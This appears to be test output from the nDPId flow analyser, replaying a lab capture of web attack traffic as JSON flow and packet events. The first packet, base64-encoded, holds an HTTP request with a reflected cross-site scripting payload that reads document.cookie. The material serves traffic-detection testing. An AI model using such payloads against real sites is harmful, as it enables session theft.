+01216{"flow_id":380,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5435,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347617,"pkt_ts_usec":493392,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9audAAD4GWKisEAABwKgKMuaiAFBCbDvUnELp74AYAUmfsQAAAQEICgE7YoED5TO0R0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdRTk80Uk5BTU0yMFhLSk0wUFU3MEI4RVQwU08yWTNOWlcwM01YOFNXNTZWT0EyME1PMSUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00432{"flow_id":381,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5438,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347617,"pkt_ts_usec":784851,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0dixAAD4GT6ysEAABwKgKMuawAFAlJSuzGTmE9YARAOWR7AAAAQEICgE7YsoD5S8N"} +00432{"flow_id":381,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5439,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347617,"pkt_ts_usec":785117,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0sMpAAEAGEw7AqAoyrBAAAQBQ5rAZOYT1JSUrtIARAOOMuwAAAQEICgPlND8BO2LK"} +00433{"flow_id":381,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5440,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347617,"pkt_ts_usec":785866,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0di1AAD4GT6usEAABwKgKMuawAFAlJSu0GTmE9oAQAOWMuQAAAQEICgE7YsoD5TQ\/"} +00500{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5441,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":304,"flow_packet_id":311,"flow_first_seen":1499347484263,"flow_last_seen":1499347551239,"flow_tot_l4_data_len":242337,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1901,"flow_avg_l4_data_len":779,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":57684,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5441,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":340,"flow_packet_id":6,"flow_first_seen":1499347545176,"flow_last_seen":1499347550764,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58332,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5441,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":340,"flow_packet_id":6,"flow_first_seen":1499347545176,"flow_last_seen":1499347550764,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58332,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5441,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":341,"flow_packet_id":6,"flow_first_seen":1499347546427,"flow_last_seen":1499347551497,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58346,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5441,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":341,"flow_packet_id":6,"flow_first_seen":1499347546427,"flow_last_seen":1499347551497,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58346,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5441,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":343,"flow_packet_id":6,"flow_first_seen":1499347550209,"flow_last_seen":1499347555765,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58386,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5441,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":343,"flow_packet_id":6,"flow_first_seen":1499347550209,"flow_last_seen":1499347555765,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58386,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5441,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":344,"flow_packet_id":6,"flow_first_seen":1499347551495,"flow_last_seen":1499347556766,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58400,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5441,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":344,"flow_packet_id":6,"flow_first_seen":1499347551495,"flow_last_seen":1499347556766,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58400,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":5441,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":345,"flow_packet_id":6,"flow_first_seen":1499347552736,"flow_last_seen":1499347557766,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58414,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":5441,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":345,"flow_packet_id":6,"flow_first_seen":1499347552736,"flow_last_seen":1499347557766,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":58414,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5444,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":385,"flow_packet_id":1,"flow_first_seen":1499347618757,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59124,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":385,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5444,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347618,"pkt_ts_usec":757865,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8UcRAAD4GdAysEAABwKgKMub0AFCevDJ5AAAAAKACchBBkQAAAgQFtAQCCAoBO2O9AAAAAAEDAwc="} +00444{"flow_id":385,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5445,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347618,"pkt_ts_usec":757988,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5vRXo2m0nrwyeqAScSBIAQAAAgQFtAQCCAoD5TUyATtjvQEDAwc="} +00432{"flow_id":385,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5446,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347618,"pkt_ts_usec":758844,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UcVAAD4GdBOsEAABwKgKMub0AFCevDJ6V6NptYAQAOXnBwAAAQEICgE7Y74D5TUy"} +00432{"flow_id":382,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5450,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347618,"pkt_ts_usec":785797,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VmtAAD4Gb22sEAABwKgKMua+AFCqCgi8Chz2ZoARAOXLZwAAAQEICgE7Y8QD5TBH"} +00432{"flow_id":382,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5451,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347618,"pkt_ts_usec":786046,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0w19AAEAGAHnAqAoyrBAAAQBQ5r4KHPZmqgoIvYARAOPGdgAAAQEICgPlNTkBO2PE"} +00432{"flow_id":382,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5452,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347618,"pkt_ts_usec":787857,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VmxAAD4Gb2ysEAABwKgKMua+AFCqCgi9Chz2Z4AQAOXGcwAAAQEICgE7Y8UD5TU5"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5462,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":386,"flow_packet_id":1,"flow_first_seen":1499347621256,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59150,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":386,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5462,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347621,"pkt_ts_usec":256083,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Hc9AAD4GqAGsEAABwKgKMucOAFD+NnvhAAAAAKACchCWIwAAAgQFtAQCCAoBO2YuAAAAAAEDAwc="} +00446{"flow_id":386,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5463,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347621,"pkt_ts_usec":256213,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5w6DP0I9\/jZ74qAScSCV\/QAAAgQFtAQCCAoD5TejATtmLgEDAwc="} +00432{"flow_id":386,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5465,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347621,"pkt_ts_usec":257749,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0HdBAAD4GqAisEAABwKgKMucOAFD+Nnvigz9CPoAQAOU1BQAAAQEICgE7Zi4D5Tej"} +00432{"flow_id":383,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5468,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347621,"pkt_ts_usec":786690,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YLlAAD4GZR+sEAABwKgKMubYAFBJnwH4VhbiZoARAOX1JQAAAQEICgE7ZrID5TK2"} +00432{"flow_id":383,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5469,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347621,"pkt_ts_usec":786937,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA02k5AAEAG6YnAqAoyrBAAAQBQ5thWFuJmSZ8B+YARAOPvtAAAAQEICgPlOCgBO2ay"} +00432{"flow_id":383,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5470,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347621,"pkt_ts_usec":787739,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YLpAAD4GZR6sEAABwKgKMubYAFBJnwH5VhbiZ4AQAOXvsQAAAQEICgE7ZrMD5Tgo"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5475,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":387,"flow_packet_id":1,"flow_first_seen":1499347622524,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59164,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":387,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5475,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347622,"pkt_ts_usec":524750,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8QPZAAD4GhNqsEAABwKgKMuccAFAFlCedAAAAAKACchDhvwAAAgQFtAQCCAoBO2drAAAAAAEDAwc="} +00444{"flow_id":387,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5476,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347622,"pkt_ts_usec":524853,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5xwFxGkkBZQnnqAScSA28QAAAgQFtAQCCAoD5TjgATtnawEDAwc="} +00432{"flow_id":387,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5477,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347622,"pkt_ts_usec":525754,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QPdAAD4GhOGsEAABwKgKMuccAFAFlCeeBcRpJYAQAOXV+AAAAQEICgE7Z2sD5Tjg"} +00432{"flow_id":384,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5481,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347622,"pkt_ts_usec":786693,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VDxAAD4GcZysEAABwKgKMubmAFD8gja8zAzR6YARAOWlvAAAAQEICgE7Z6wD5TP2"} +00433{"flow_id":384,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5482,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347622,"pkt_ts_usec":786913,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA06MtAAEAG2wzAqAoyrBAAAQBQ5ubMDNHp\/II2vYARAOOgkQAAAQEICgPlOSIBO2es"} +00432{"flow_id":384,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5483,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347622,"pkt_ts_usec":787780,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VD1AAD4GcZusEAABwKgKMubmAFD8gja9zAzR6oAQAOWgjgAAAQEICgE7Z60D5Tki"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5487,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":388,"flow_packet_id":1,"flow_first_seen":1499347623786,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59178,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":388,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5487,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347623,"pkt_ts_usec":786814,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8EPlAAD4GtNesEAABwKgKMucqAFD89nheAAAAAKACchCYUQAAAgQFtAQCCAoBO2inAAAAAAEDAwc="} +00432{"flow_id":385,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5488,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347623,"pkt_ts_usec":786845,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UcZAAD4GdBKsEAABwKgKMub0AFCevDJ6V6NptYARAOXiHQAAAQEICgE7aKcD5TUy"} +00445{"flow_id":388,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5489,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347623,"pkt_ts_usec":786970,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5yptg31h\/PZ4X6AScSBwSgAAAgQFtAQCCAoD5TocATtopwEDAwc="} +00433{"flow_id":385,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5490,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347623,"pkt_ts_usec":787075,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0U6lAAEAGcC\/AqAoyrBAAAQBQ5vRXo2m1nrwye4ARAOPdNAAAAQEICgPlOhwBO2in"} +00432{"flow_id":388,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5491,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347623,"pkt_ts_usec":787747,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0EPpAAD4GtN6sEAABwKgKMucqAFD89nhfbYN9YoAQAOUPUgAAAQEICgE7aKcD5Toc"} +00432{"flow_id":385,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5493,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347623,"pkt_ts_usec":788694,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UcdAAD4GdBGsEAABwKgKMub0AFCevDJ7V6NptoAQAOXdMgAAAQEICgE7aKcD5Toc"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5499,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":389,"flow_packet_id":1,"flow_first_seen":1499347625094,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59192,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":389,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5499,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347625,"pkt_ts_usec":94633,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8QvlAAD4GgtesEAABwKgKMuc4AFBpNSsUAAAAAKACchB4CQAAAgQFtAQCCAoBO2ntAAAAAAEDAwc="} +00443{"flow_id":389,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5500,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347625,"pkt_ts_usec":94757,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5zhhGRuGaTUrFaAScSC9AAAAAgQFtAQCCAoD5TtjATtp7QEDAwc="} +00431{"flow_id":389,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5502,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347625,"pkt_ts_usec":95655,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QvpAAD4Ggt6sEAABwKgKMuc4AFBpNSsVYRkbh4AQAOVcBwAAAQEICgE7ae4D5Ttj"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5510,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":390,"flow_packet_id":1,"flow_first_seen":1499347626349,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59206,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":390,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5510,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347626,"pkt_ts_usec":349553,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8CphAAD4GuzisEAABwKgKMudGAFA4VWG\/AAAAAKACchBw9gAAAgQFtAQCCAoBO2snAAAAAAEDAwc="} 